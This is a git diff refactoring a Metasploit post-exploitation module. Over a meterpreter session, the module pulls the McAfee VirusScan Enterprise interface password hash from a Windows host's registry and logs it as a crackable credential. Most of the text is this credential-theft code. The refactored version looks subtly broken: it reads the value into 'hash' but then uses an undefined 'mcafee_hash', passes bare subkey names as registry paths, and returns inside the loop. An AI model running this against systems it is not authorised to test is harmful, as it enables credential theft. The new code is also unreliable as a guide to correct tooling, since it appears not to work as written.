|
9 | 9 | require 'rex/proto/rfb'
|
10 | 10 |
|
11 | 11 | class Metasploit3 < Msf::Post
|
12 |
| - |
13 | 12 | include Msf::Post::Windows::Registry
|
14 | 13 | include Msf::Auxiliary::Report
|
15 | 14 | include Msf::Post::Windows::UserProfiles
|
16 | 15 |
|
17 |
| - def initialize(info={}) |
18 |
| - super( update_info( info, |
19 |
| - 'Name' => 'McAfee Virus Scan Enterprise Password Hashes Dump', |
20 |
| - 'Description' => %q{ This module extracts the password |
21 |
| - hash from McAfee Virus Scan Enterprise used to lock down the user interface. |
22 |
| - Credits: Maurizio inode Agazzini}, |
23 |
| - 'License' => MSF_LICENSE, |
24 |
| - 'Author' => [ 'Mike Manzotti <michelemanzotti[at]gmail.com>'], |
25 |
| - 'Platform' => [ 'win' ], |
26 |
| - 'SessionTypes' => [ 'meterpreter' ] |
27 |
| - )) |
| 16 | + def initialize(info = {}) |
| 17 | + super(update_info( |
| 18 | + info, |
| 19 | + 'Name' => 'McAfee Virus Scan Enterprise Password Hashes Dump', |
| 20 | + 'Description' => %q( |
| 21 | + This module extracts the password hash from McAfee Virus Scan |
| 22 | + Enterprise used to lock down the user interface. |
| 23 | + ), |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'Author' => [ |
| 26 | + 'Mike Manzotti <michelemanzotti[at]gmail.com>', # Metasploit module? |
| 27 | + 'Maurizio inode Agazzini' # original research? |
| 28 | + ], |
| 29 | + 'Platform' => [ 'win' ], |
| 30 | + 'SessionTypes' => [ 'meterpreter' ] |
| 31 | + )) |
| 32 | + end |
28 | 33 |
|
| 34 | + def enum_vse_keys |
| 35 | + subkeys = [] |
| 36 | + [ |
| 37 | + 'HKLM\\Software\\Wow6432Node\\McAfee\\DesktopProtection', # 64-bit |
| 38 | + 'HKLM\\Software\\McAfee\\DesktopProtection' # 32-bit |
| 39 | + ].each do |key| |
| 40 | + subkeys |= registry_enumkeys(key) |
| 41 | + end |
| 42 | + subkeys.compact |
29 | 43 | end
|
30 | 44 |
|
31 |
| - def run |
32 |
| - print_status("Checking McAfee password hash on #{sysinfo['Computer']} ...") |
33 |
| - |
34 |
| - # Checking if McAfee 64bit can be found in the registry keys |
35 |
| - check_reg = 'HKLM\\Software\\Wow6432Node\\McAfee\\DesktopProtection' |
36 |
| - subkeys = registry_enumkeys(check_reg) |
37 |
| - if subkeys.nil? or subkeys.empty? |
38 |
| - |
39 |
| - # Checking for McAfee 32bit |
40 |
| - check_reg = 'HKLM\\Software\\McAfee\\DesktopProtection' |
41 |
| - subkeys = registry_enumkeys(check_reg) |
42 |
| - if subkeys.nil? or subkeys.empty? |
43 |
| - print_error ("McAfee Not Installed or No Permissions to RegKey") |
| 45 | + def extract_hashes(keys) |
| 46 | + keys.each do |key| |
| 47 | + hash = registry_getvaldata(key, "UIPEx") |
| 48 | + if hash.empty? |
| 49 | + vprint_error("No McAfee password hash found in #{key}") |
44 | 50 | return
|
45 | 51 | end
|
46 |
| - end |
47 |
| - |
48 |
| - mcafee_hash = registry_getvaldata(check_reg, "UIPEx") |
49 |
| - if mcafee_hash == nil or mcafee_hash == "" |
50 |
| - print_error ("Could not find McAfee password hash") |
51 |
| - return |
52 |
| - else |
53 |
| - #Base64 decode mcafee_hash |
54 |
| - mcafee_version = registry_getvaldata(check_reg, "szProductVer") |
55 |
| - if mcafee_version.split(".")[0] == "8" |
56 |
| - mcafee_hash = Rex::Text.to_hex(Rex::Text.decode_base64(mcafee_hash),"") |
57 |
| - print_good("McAfee v8 password hash => #{mcafee_hash}"); |
58 |
| - hashtype = "dynamic_1405" |
59 |
| - elsif mcafee_version.split(".")[0] == "5" |
60 |
| - print_good("McAfee v5 password hash => #{mcafee_hash}"); |
61 |
| - hashtype = "md5u" |
62 |
| - else |
63 |
| - print_status("Could not identify the version of McAfee - Assuming v8") |
64 |
| - end |
65 |
| - |
66 |
| - |
67 |
| - # report |
| 52 | + |
| 53 | + # Base64 decode mcafee_hash |
| 54 | + mcafee_version = registry_getvaldata(key, "szProductVer") |
| 55 | + if mcafee_version.split(".")[0] == "8" |
| 56 | + mcafee_hash = Rex::Text.to_hex(Rex::Text.decode_base64(mcafee_hash), "") |
| 57 | + print_good("McAfee v8 password hash => #{mcafee_hash}") |
| 58 | + hashtype = "dynamic_1405" |
| 59 | + elsif mcafee_version.split(".")[0] == "5" |
| 60 | + print_good("McAfee v5 password hash => #{mcafee_hash}") |
| 61 | + hashtype = "md5u" |
| 62 | + else |
| 63 | + print_status("Could not identify the version of McAfee - Assuming v8") |
| 64 | + end |
| 65 | + |
| 66 | + # report |
68 | 67 | service_data = {
|
69 |
| - address: ::Rex::Socket.getaddress(session.sock.peerhost, true), |
70 |
| - port: rport, |
71 |
| - service_name: 'McAfee', |
72 |
| - protocol: 'tcp', |
73 |
| - workspace_id: myworkspace_id |
| 68 | + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), |
| 69 | + port: rport, |
| 70 | + service_name: 'McAfee', |
| 71 | + protocol: 'tcp', |
| 72 | + workspace_id: myworkspace_id |
74 | 73 | }
|
75 |
| - |
| 74 | + |
76 | 75 | # Initialize Metasploit::Credential::Core object
|
77 | 76 | credential_data = {
|
78 |
| - post_reference_name: self.refname, |
79 |
| - origin_type: :session, |
80 |
| - private_type: :password, |
81 |
| - private_data: mcafee_hash, |
82 |
| - session_id: session_db_id, |
83 |
| - jtr_format: hashtype, |
84 |
| - workspace_id: myworkspace_id, |
85 |
| - username: "null" |
86 |
| - } |
87 |
| - |
| 77 | + post_reference_name: refname, |
| 78 | + origin_type: :session, |
| 79 | + private_type: :password, |
| 80 | + private_data: mcafee_hash, |
| 81 | + session_id: session_db_id, |
| 82 | + jtr_format: hashtype, |
| 83 | + workspace_id: myworkspace_id, |
| 84 | + username: "null" |
| 85 | + } |
| 86 | + |
88 | 87 | # Merge the service data into the credential data
|
89 | 88 | credential_data.merge!(service_data)
|
90 |
| - |
| 89 | + |
91 | 90 | # Create the Metasploit::Credential::Core object
|
92 | 91 | credential_core = create_credential(credential_data)
|
93 | 92 |
|
94 | 93 | # Assemble the options hash for creating the Metasploit::Credential::Login object
|
95 |
| - login_data ={ |
96 |
| - core: credential_core, |
97 |
| - status: Metasploit::Model::Login::Status::UNTRIED |
| 94 | + login_data = { |
| 95 | + core: credential_core, |
| 96 | + status: Metasploit::Model::Login::Status::UNTRIED |
98 | 97 | }
|
99 | 98 |
|
100 |
| - # Merge in the service data and create our Login |
101 |
| - login_data.merge!(service_data) |
102 |
| - login = create_credential_login(login_data) |
103 |
| - |
| 99 | + # Merge in the service data and create our Login |
| 100 | + create_credential_login(login_data.merge!(service_data)) |
| 101 | + end |
| 102 | + end |
| 103 | + |
| 104 | + def run |
| 105 | + print_status("Checking McAfee password hash on #{sysinfo['Computer']} ...") |
| 106 | + |
| 107 | + vse_keys = enum_vse_keys |
| 108 | + if vse_keys.empty? |
| 109 | + print_error("McAfee Virus Scan Enterprise not installed or insufficient permissions") |
| 110 | + return |
104 | 111 | end
|
| 112 | + |
| 113 | + extract_hashes(vse_keys) |
105 | 114 | end
|
106 | 115 | end
|
0 commit comments